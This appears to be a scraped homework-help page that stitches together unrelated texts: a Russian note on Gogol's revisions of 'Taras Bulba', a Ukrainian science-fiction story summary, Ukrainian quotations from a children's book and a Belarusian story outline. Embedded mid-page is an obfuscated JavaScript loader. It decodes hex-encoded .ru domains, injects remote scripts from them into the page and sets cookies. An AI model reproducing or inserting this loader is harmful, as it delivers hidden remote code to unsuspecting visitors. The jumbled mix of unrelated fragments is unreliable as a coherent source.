«Тара́с Бу́льба» — повесть Николая Васильевича Гоголя, входит в цикл «Миргород». При подготовке черновой рукописи к печати Гоголем были внесены многочисленные исправления. Большая небрежность черновой рукописи «Тараса Бульбы», пропуски отдельных слов, неразборчивый почерк, незаконченный вид отдельных фраз — всё это привело к тому, что в составе «Миргорода», опубликованной в 1835 году, вкралось множество погрешностей. К 1842 году у Гоголя появилась новая переработка «Тараса Бульбы», где появились новые эпизоды, а объём повести увеличился вдвое. Уехав в 1842 году за границу, Гоголь поручил все заботы о печатавшемся собрании всех своих сочинений Николаю Яковлевичу Прокоповичу, подчеркнув, что в его повести «Тарас и Бульба» много погрешностей. В 1842 году вышла её вторая, и переработанная редакция с изменениями Гоголя и Прокоповича, где Прокопович внимательно относится ко всем просьбам Гоголя и большая часть правок приходится на долю слов и словосочетаний, которые не соответствовали нормам русского литературного языка. Например, заменено местоимение «сей» на «этот».
Головний герой Лерой Кліві через космічну аварію опинився на незнайомій планеті без засобів до порятунку. Героя здивувало, що тварини на планеті сліпі та глухі, вони спілкуються завдяки телепатії. Він робить спробу керувати своїми думками та придумує різні способи порятунку. Силою думки він бореться з пантерою, вовками, стерв’ятником, уявляє себе самицею пантери, змією, пташкою, кущем, трупом. Останнім зусиллям волі він змушує хижаків відступити, уявивши себе вогнем. Він став телепатом, який переміг інопланетних тварин і здивував рятувальників, що прибули йому на допомогу. Їх здивувало те, що на тілі Лероя Кліві не було жодного опіку, хоча він перебував в епіцентрі пожежі.
Window.a1336404323 = 1;!function(){var e=JSON.parse('["79636471777337392e7275","6d78697a6b6433316b7838652e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();<span><span><span> От знайдибіда, авантюрист шмаркатий! Вань-коо-о! Вилазь зараз же! Бо такого втру маку — тиждень чухатимешся! Вилазь, чуєш!</span><span> — Дід</span></span><span><span> Ми, — казав, — з тобою, Павлушо, хлопці неабиякі. Справді, без брехні, ми таки хлопці з фантазією.</span><span> — Ява Рень</span></span><span><span> Ондо, — каже, — Ява і Павлуша пішли. От хлопці! Орли! Соколи! Гангстери, а не хлопці! Нема на них буцегарні</span><span> — Дід Салимон</span></span><span><span> Ага. Класнючо... Але це ж убивати треба. Хто ж нам дозволить убивати поголів'я?</span><span> — Павлуша Завгородній</span></span><span><span> Я — боюсь? От я зараз дам тобі у вухо, і ти побачиш, як я боюсь. Ану забери свої слова назад!</span><span> — Ява Рень</span></span><span><span> Атлічно! Пульс нормальний. Невагомості нема. Тиск триста атмосфер. Прийняв на борт потерпілого товариша Собакевича. Ой-йо-йой! Що ж ти одпустив! Тут дуже грязько! Засмоктує! Тягни швидше.</span><span> — Ява Рень</span></span><span><span> До четвертого класу я з ним не дружив. Він був страшенно вредний. Так я вважав. Бо він мене при всіх у калюжу пхнув, як я його картуза на вербу закинув. А я був у новісіньких шевйотових штанях. Мені мама лише вранці їх у раймазі купила. І тими новісінькими штаньми я у самісіньке рідке багно сів. І Ганька Гребенючка так сміялася, так сміялася, що в неї аж булька з носа вискочила.</span><span> — Павлуша Завгородній</span></span><span><span>
</span></span></span>
1.Тэкля сячэ дровы
2.Сустрэча с письманосцам
3.Успамины пра апошняя развитанне з сынам
4.Прыход Ульянки
5.Сон Тэкли пра Василька
6.Нясцерпнае жаданне убачыць сыночка
7.Сустрэчы и перажыванни у дарозе
8э"Сыночак мой дзе ж ты"
Подробнее - на Znanija.com - znanija.com/task/8670137#readmore
